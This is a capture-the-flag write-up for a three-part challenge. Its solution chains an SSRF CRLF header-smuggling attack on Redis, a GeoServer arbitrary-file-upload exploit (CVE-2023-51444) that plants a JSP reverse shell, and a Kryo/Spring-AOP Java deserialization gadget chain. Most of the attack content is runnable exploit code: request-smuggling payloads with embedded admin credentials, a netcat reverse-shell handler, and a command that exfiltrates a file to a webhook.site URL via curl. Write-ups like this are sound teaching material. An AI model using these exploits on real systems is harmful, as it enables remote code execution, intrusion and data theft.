Ash Twin Project

The probe interface is hosted at http://chals.tisc25.ctf.sg:45179/. No kernel exploits are required for this challenge. Attached files: ashtwin-project-3e7f4e64e89c45ce65c10c0ea59af77a.tar.gz

This is a 3-part challenge that requires chaining of exploits from each part to get to the final flag.

The challenge spins up a series of Docker containers on the same network.

  • web: A PHP server
  • redis: Redis cache to back the PHP server
  • geo: A GeoServer server, an open source server for sharing geospatial data
  • worker: Python helper for the web service to communicate to geo
  • the-eye: Java program enabling access to the Part 1 and Part 2 flags

Part 1: PHP

Here are the web endpoints:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/challenge
- Returns the value of secret
    - Inits secret if uninit. This is only done once.

/submit
- Takes {"s": payload}
    - hash = sha512(secret || payload)
    - Check that hash ends with 6 zeros
        - If valid, it generates an XML template using generate_vectors().
            - The hash is treated as a series of bytes and injected into a SOAP XML template.
        - Then, publishes a new redis entry with $hashed|base64_encode(generated_vectors)
            - This is pub/sub mode, i.e. sending a message on the channel "entries"

/poll
- Accepts json {"h": "attempt_..."}
    - Looks up name in Redis and deletes it
    - If the value of the key is 0, we get web flag
      
/check
- Restricted HTTP request forwarder
- Takes {"t": target url, "h": array of headers}
    - url must start with http
    - some headers are blocked
    - headers are sanitized
    - http request is made (response is true/false depending on error)

The idea is that we can submit a payload to /submit. A hash is calculated from the payload. To prevent brute-force, the hash suffix is checked. Then, the hash is decoded into a geospatial vector and sent to the geo server via the Python helper. The GeoServer server calculates a distance corresponding to the geospatial vector and associates the attempt with that distance in the Redis store. Subsequently, we can make a /poll request to the web server. If the distance is zero, we get the web flag.

Since brute-forcing is impossible, we cannot easily generate a hash that will decode to a distance of zero. Instead, we exploit the /check endpoint, which allows us to make requests into the internal network.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
$json = file_get_contents('php://input');
$data = json_decode($json, true);

header('Content-Type: application/json');
$result = array(
    "result" => false
);

if (!isset($data["t"]) || !isset($data["h"])) {
    echo json_encode($result);
    return;
}

$t = $data["t"];
$h = $data["h"];

if (!str_starts_with($t, "http://")) {
    echo json_encode($result);
    return;
}

# Smuggling not allowed, find something else.
$d = array('content-type', 'host', 'x-forwarded-for', 'transfer-encoding', 'upgrade', 'referrer');

$nh = array();
foreach ($h as $x => $y) {
    if (!is_string($x) || !is_string($y)) {
        echo json_encode($result);
        return;
    }

    $u = strtolower(trim($x));
    if (in_array($u, $d) ) {
        echo json_encode($result);
        return;
    }

    $v = strtolower(trim($y));
    foreach ($d as $k) {
        if (str_contains($v, $k)) {
            echo json_encode($result);
            return;
        }
    }

    array_push($nh, $u . ": " . $y);
}

$c = stream_context_create(array(
    "http" => array(
        "ignore_errors" => true,
        "header" => implode("\r\n", $nh)
    )
));

$response = @file_get_contents($t, false, $c);
if ($response) {
    $result["result"] = true;
}

echo json_encode($result);
return;
?>

The exploit idea is intuitive: try to send a request to the Redis server directly. This is a known technique, where we exploit SSRF by smuggling Redis commands into HTTP request headers. We can create arbitrary headers by abusing the PHP code’s flawed sanitizer, smuggling headers by using CRLF in the header value.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from requests import *
import json
import hashlib

s = Session()
url = "http://chals.tisc25.ctf.sg:45179/"


r = s.post(url + "/api/check.php", json={
    "t": "http://redis:6379",
    "h": {
        "abc": "42\r\nSET attempt_bob 0",
        "Hack: a\r\nHost": "redis:6379",
    }
})
print(r.text)

r = s.post(url + "/api/poll.php", json={"h": "attempt_bob"})
print(r.text)

Flag: TISC{d0nt_l00k_aw4y_0r_1t5_g0n3_ea98b517efe292de1b3663a892c384c5}

Part 2: GeoServer

The next part of the challenge is to get the GeoServer flag. There is a binary on the geo container that will make the necessary requests to the-eye container to retrieve the flag. So, it seems that we need to obtain RCE on GeoServer and run the binary.

Firstly, we must be able to communicate freely with the GeoServer server. Currently, our only means of interacting with it is via the Python helper, which only supports a single endpoint. Instead, we can extend our original header smuggling technique to smuggle whole requests! This is a known bug in PHP since 2021.

1
2
3
4
5
6
7
8
r = s.post(url + "/api/check.php", json={
        "t": "http://geo:8080/geoserver",
        "h": {
        "Connection": "keep-alive",
        "Host: 127.0.0.1:8501\r\nabc": "42\r\n\r\nPOST /geoserver/rest/workspaces HTTP/1.1",
        "Host: 127.0.0.1:8501\r\nContent-Type: application/xml\r\nContent-Length: 46\r\nAuthorization": "Basic R0VPU0VSVkVSX0FETUlOX1VTRVI6R0VPU0VSVkVSX0FETUlOX1BBU1NXT1JE\r\n\r\n" + "<workspace><name>" +workspace_name+ "</name></workspace>\r\n"
        }
    })

This payload smuggles a POST request to the GeoServer

Next, let’s take a look at the geo Dockerfile:

1
2
3
4
5
6
7
8
9
10
11
FROM kartoza/geoserver:2.20.3
...

# Apply some patches to fix complex numbers.
RUN wget -O /tmp/download.zip https://sourceforge.net/projects/geoserver/files/GeoServer/2.20.4/geoserver-2.20.4-patches.zip/download
RUN unzip /tmp/download.zip
RUN mv gt-app-schema-26.4.jar /usr/local/tomcat/webapps/geoserver/WEB-INF/lib/gt-app-schema-26.3.jar
RUN mv gt-complex-26.4.jar /usr/local/tomcat/webapps/geoserver/WEB-INF/lib/gt-complex-26.3.jar
RUN mv gt-xsd-core-26.4.jar /usr/local/tomcat/webapps/geoserver/WEB-INF/lib/gt-xsd-core-26.3.jar
RUN rm /tmp/download.zip
...

The challenge uses an extremely old version of GeoServer (current version is 2.27.2). There have been many vulnerabilities in GeoServer since then so we can simply pick a public PoC and adapt it for the challenge version. The patches in the Dockerfile patch the most famous GeoServer CVE, CVE-2024-36401, but there are plenty of others.

For my exploit, I used CVE-2023-51444 which gives arbitrary file upload via directory traversal. This is an older vulnerability than the one the Dockerfile patch fixes, but the challenge version was already EOL by then so it did not receive a patch. We have to tweak the PoC a bit to work with the older version but the general idea is the same.

Since we can upload arbitrary files, we can simply upload a jsp reverse shell into the Apache server’s webapps directory. Then, visiting it (via the web proxy) will trigger the reverse shell and grant RCE.

Exploit script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from requests import *
import json
import hashlib
import random
import string
import urllib.parse
from threading import Thread
from pwn import *
from solve3 import solve3

s = Session()
url = "http://chals.tisc25.ctf.sg:45179/"
my_ip = "redacted"
my_port = "8000"

def random_string(length=8):
    return ''.join(random.choices(string.ascii_letters, k=length))

def exploit(payload=None):
    global my_port
    context.log_level = "debug"
    p = process(["nc", "-nvlp", my_port])
    p.recvline_contains(b"Connection received on")
    p.sendline(b"whoami && pwd")
    assert p.recvline().strip() == b"geoserveruser"
    if payload is None:
        p.interactive()
    else:
        payload(p)

    p.close()

def solve2(p):
    p.sendline(b"/readflag")
    print(p.recvline_contains(b"TISC"))

thread = Thread(target = exploit, args = (solve2,))
thread.start()
time.sleep(1)

workspace_name = random_string(10)
store_name = random_string(6)
filename = "super_duper_secret_shell_xd.jsp"

# https://github.com/LaiKash/JSP-Reverse-and-Web-Shell/blob/main/shell.jsp
payload = r"""
<truncated - refer to URL above>
"""
payload = payload.strip()
payload = hex(len(payload))[2:] + "\r\n" + payload + "\r\n0\r\n\r\n"

if True:
    # setup reverse shell
    # Payload 1
    r = s.post(url + "/api/check.php", json={
        "t": "http://geo:8080/geoserver",
        "h": {
        "Connection": "keep-alive",
        "Host: 127.0.0.1:8501\r\nabc": "42\r\n\r\nPOST /geoserver/rest/workspaces HTTP/1.1",
        "Host: 127.0.0.1:8501\r\nContent-Type: application/xml\r\nContent-Length: 46\r\nAuthorization": "Basic R0VPU0VSVkVSX0FETUlOX1VTRVI6R0VPU0VSVkVSX0FETUlOX1BBU1NXT1JE\r\n\r\n" + "<workspace><name>" +workspace_name+ "</name></workspace>\r\n"
        }
    })
    print(r.text)
    assert json.loads(r.text)["result"] == True

    # Payload 2
    r = s.post(url + "/api/check.php", json={
        "t": "http://geo:8080/geoserver",
        "h": {
        "Connection": "keep-alive",
        "Host: 127.0.0.1:8501\r\nabc": "42\r\n\r\nPUT /geoserver/rest/workspaces/"+workspace_name+ "/coveragestores/" +store_name+"/external.imagemosaic HTTP/1.1",
        "Host: 127.0.0.1:8501\r\nContent-Type: text/plain\r\nContent-Length: 41\r\nAuthorization": "Basic R0VPU0VSVkVSX0FETUlOX1VTRVI6R0VPU0VSVkVSX0FETUlOX1BBU1NXT1JE\r\n\r\n" + "file:///usr/local/tomcat/webapps/examples\r\n"
        }
    })
    print(r.text)
    assert json.loads(r.text)["result"] == True

    # Payload 3
    r = s.post(url + "/api/check.php", json={
        "t": "http://geo:8080/geoserver",
        "h": {
        "Connection": "keep-alive",
        "Host: 127.0.0.1:8501\r\nabc": "42\r\n\r\nPOST /geoserver/rest/workspaces/"+workspace_name+"/coveragestores/"+store_name+"/file.shp?filename="+filename+" HTTP/1.1",
        "Host: 127.0.0.1:8501\r\nContent-Type: application/zip\r\nTransfer-Encoding: chunked\r\nAuthorization": "Basic R0VPU0VSVkVSX0FETUlOX1VTRVI6R0VPU0VSVkVSX0FETUlOX1BBU1NXT1JE",
        "t": "t\r\n\r\n" + payload
        }
    })
    print(r.text)

# Trigger reverse shell
r = s.post(url + "/api/check.php", json={
    "t": f"http://geo:8080/examples/" + filename,
    "h": {}
})
print(r.text)

Flag: TISC{4r0und_th3_Un1v3r53_l1k3_4_r1_4x1s_cf47f7e49c6da010561866cda8f7d1c1}

Part 3 - Java Deserialization

The final part of the challenge requires us to get RCE on the-eye server. This is a Java Spring server that supports de/serialization of a custom Token class. With our reverse shell on geo, we can send arbitrary requests to the-eye.

These are the deserialization methods:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private static final List<String> MISSED_COLLECTION_CLASSES = Arrays.asList("Unmodifiable", "Synchronized",
		"Checked");
		
public static Token deserializeFromBytes(byte[] data) throws IOException, ClassNotFoundException {
	byte[] decompressed = Snappy.uncompress(data);
	Input input = new Input(decompressed);
	Kryo kryo = createKryo();

	return kryo.readObject(input, Token.class);
}

public static Kryo createKryo() {
	Kryo kryo = new Kryo();
	kryo.setRegistrationRequired(false);
	kryo.setReferences(false);

	try {
		Class<?>[] f = Collections.class.getDeclaredClasses();
		Arrays.stream(f)
			.filter(cls -> MISSED_COLLECTION_CLASSES.stream().anyMatch(s -> cls.getName().contains(s)))
			.forEach(cls -> kryo.addDefaultSerializer(cls, new JavaSerializer()));
	} catch (Exception e) {
		e.printStackTrace();
	}
	kryo.addDefaultSerializer(UUID.class, new DefaultSerializers.UUIDSerializer());
	kryo.addDefaultSerializer(URI.class, new DefaultSerializers.URISerializer());
	kryo.addDefaultSerializer(Pattern.class, new DefaultSerializers.PatternSerializer());
	kryo.addDefaultSerializer(AtomicBoolean.class, new DefaultSerializers.AtomicBooleanSerializer());
	kryo.addDefaultSerializer(AtomicInteger.class, new DefaultSerializers.AtomicIntegerSerializer());
	kryo.addDefaultSerializer(AtomicLong.class, new DefaultSerializers.AtomicLongSerializer());
	kryo.addDefaultSerializer(AtomicReference.class, new DefaultSerializers.AtomicReferenceSerializer());

	return kryo;
}

The server will deserialize the user-supplied token using Kryo, falling back to the default JavaSerializer() for the three specific collection classes.

The Token class is simple.

1
2
3
4
5
6
public class Token {

    private String scope;
    private UUID magic;
    private HashMap<String, Object> properties;
    // ...

We have to achieve RCE via a deserialization exploit. The Java server is using JDK21, where many classic exploit techniques are blocked – just using ysoserial won’t cut it. Furthermore, it is using modern versions of its dependencies:

1
2
3
4
5
6
7
8
9
10
<dependency>
  <groupId>org.springframework</groupId>
  <artifactId>spring-aop</artifactId>
  <version>6.2.8</version>
</dependency>
<dependency>
  <groupId>org.aspectj</groupId>
  <artifactId>aspectjweaver</artifactId>
  <version>1.9.24</version>
</dependency>

After a lot of Googling, we find a recent blogpost detailing a novel Spring-AOP chain utilizing AbstractAspectJAdvice. This chain works on the challenge’s versions of spring-aop. However, there are a few things we have to fix:

  • It uses BadAttributeValueException::toString() as the source to trigger Proxy::invoke(). This method is blocked in modern JDK (17+)
    • Replace with a PriorityQueue source. Instead of using BeanComparator as the comparator, simply make the Proxy implement Comparator.
  • It uses TemplatesImpl as the sink. This method has been blocked in modern JDK (17+) due to its inheritance of AbstractTranslet
  • Calls TemplatesImpl::newTransformer() via reflection, which is blocked in JDK 21.
    • Use a second Proxy. The reflective invocation will then invoke a proxy function, which will then invoke ::newTransformer().

Exploit (based on Ape1ron repo):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
// TemplatesImplNode.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import java.io.Serializable;

public class TemplatesImplNode {

    public static byte[] getTemplateCode(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        String block = "Runtime.getRuntime().exec(" + cmd + ");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }

	public static Object gimme(String cmd) throws Exception {
		byte[] code1 = getTemplateCode(cmd);
        	byte[] code2 = ClassPool.getDefault().makeClass("fushuling").toBytecode();
        	TemplatesImpl templates = new TemplatesImpl();
        	Reflections.setFieldValue(templates, "_name", "xxx");
        	Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
        	Reflections.setFieldValue(templates,"_transletIndex",0);
		return templates;
	}

    public static Object makeGadget(String cmd) throws Exception {
        return createTemplatesImpl(cmd);
    }

    public static Object createTemplatesImpl ( final String command ) throws Exception {
        if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
            return createTemplatesImpl(
                    command,
                    Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
                    Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
                    Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
        }

        return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }

    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
            throws Exception {
        final T templates = tplClass.newInstance();

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(StubTransletPayload.class.getName());
        // run command in static initializer
        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                command.replace("\\", "\\\\").replace("\"", "\\\"") +
                "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        final byte[] classBytes = clazz.toBytecode();

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
                classBytes, ClassFiles.classAsBytes(Foo.class)
        });

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name", "Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
        return templates;
    }

    public static class Foo implements Serializable {

        private static final long serialVersionUID = 8207363842866235160L;
    }
    public static class StubTransletPayload extends AbstractTranslet implements Serializable {

        private static final long serialVersionUID = -5971610431559700674L;


        public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}


        @Override
        public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
// SpringAOP1.java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.aopalliance.aop.Advice;
import org.aopalliance.intercept.MethodInterceptor;
import org.springframework.aop.Advisor;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJExpressionPointcut;
import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.aop.framework.DefaultAdvisorChainFactory;
import org.springframework.aop.support.DefaultIntroductionAdvisor;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.HashMap;
import java.util.PriorityQueue;
import java.util.Comparator;

import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

import sun.reflect.ReflectionFactory;

import org.springframework.aop.target.HotSwappableTargetSource;
import java.lang.reflect.*;
import javax.xml.transform.Templates;
import java.util.*;


public class SpringAOP1 {
    public static void main(String[] args) throws Throwable {
        SpringAOP1 aop1 = new SpringAOP1();
        Object object = aop1.getObject("new String[]{\"/bin/sh\", \"-c\", \"/read_eye_flag > /tmp/log.txt; curl https://webhook.site/aeb56f6f-d1c7-47dd-b27f-38f01af44959?p=1 -F file=@/tmp/log.txt; rm /tmp/log.txt\"}");

        Token token = new Token();
        token.setScope("web");
        token.setMagic(java.util.UUID.fromString("123e4567-e89b-12d3-a456-426614174000"));
        token.setProperty("pwn", "hiya!");

        Map<Object,Object> inner = new HashMap<>();
        inner.put(object, "x");
        Map<Object,Object> unmodifiable = Collections.unmodifiableMap(inner);
        token.setProperty("malicious", unmodifiable);

        String bd = Token.TokenUtils.serializeToBase64(token);
        System.out.println(bd);
    }

    public Object getObject (String cmd) throws Throwable {
        AspectJAroundAdvice aspectJAroundAdvice = getAspectJAroundAdvice(cmd);
        InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget(aspectJAroundAdvice);
        Object proxy1 = Proxy.makeGadget(jdkDynamicAopProxy1, Advisor.class, MethodInterceptor.class);
        Advisor advisor = new DefaultIntroductionAdvisor((Advice) proxy1);
        List<Advisor> advisors = new ArrayList<>();
        advisors.add(advisor);
        AdvisedSupport advisedSupport = new AdvisedSupport();
        Reflections.setFieldValue(advisedSupport,"advisors",advisors);
        DefaultAdvisorChainFactory advisorChainFactory = new DefaultAdvisorChainFactory();
        Reflections.setFieldValue(advisedSupport,"advisorChainFactory",advisorChainFactory);
        InvocationHandler jdkDynamicAopProxy2 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget("ape1ron",advisedSupport);
	
        Object proxy2 = Proxy.makeGadget(jdkDynamicAopProxy2, Comparator.class);
	PriorityQueue<Object> pq = new PriorityQueue<>(2, (Comparator<Object>)proxy2);
	// Don’t trigger locally: directly set internal state so heapify happens only on deserialize
	Object[] q = new Object[] { 1, 1 };             // two dummies; values don’t matter
	Reflections.setFieldValue(pq, "size", 2);
	Reflections.setFieldValue(pq, "queue", q);
	return pq;
    }

        public static HashMap<Object, Object> makeMap(Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }

    public static void setFieldValue(Object obj, String field, Object val) throws Exception{
        Field dField = obj.getClass().getDeclaredField(field);
        dField.setAccessible(true);
        dField.set(obj, val);
    }

    public AspectJAroundAdvice getAspectJAroundAdvice(String cmd) throws Exception {
        Object mutt = TemplatesImplNode.gimme(cmd);

        InvocationHandler jdkDynamicAopProxy1 = (InvocationHandler) JdkDynamicAopProxyNode.makeGadget(mutt);
        Object templatesImpl = Proxy.makeGadget(jdkDynamicAopProxy1, Templates.class);

        SingletonAspectInstanceFactory singletonAspectInstanceFactory = new SingletonAspectInstanceFactory(templatesImpl);
        AspectJAroundAdvice aspectJAroundAdvice = Reflections.newInstanceWithoutConstructor(AspectJAroundAdvice.class);
        Reflections.setFieldValue(aspectJAroundAdvice,"aspectInstanceFactory",singletonAspectInstanceFactory);
        Reflections.setFieldValue(aspectJAroundAdvice,"declaringClass", Templates.class);
        Reflections.setFieldValue(aspectJAroundAdvice,"methodName", "newTransformer");
        Reflections.setFieldValue(aspectJAroundAdvice,"parameterTypes", new Class[0]);

        AspectJExpressionPointcut aspectJExpressionPointcut = new AspectJExpressionPointcut();
        Reflections.setFieldValue(aspectJAroundAdvice,"pointcut",aspectJExpressionPointcut);
        Reflections.setFieldValue(aspectJAroundAdvice,"joinPointArgumentIndex",-1);
        Reflections.setFieldValue(aspectJAroundAdvice,"joinPointStaticPartArgumentIndex",-1);
        return aspectJAroundAdvice;
    }

}

Flag: TISC{5c1enc3_c0mp3ls_u5_t0_bl0w_up_th3_5uN_a5db3063b77085f08d777c080de80c02}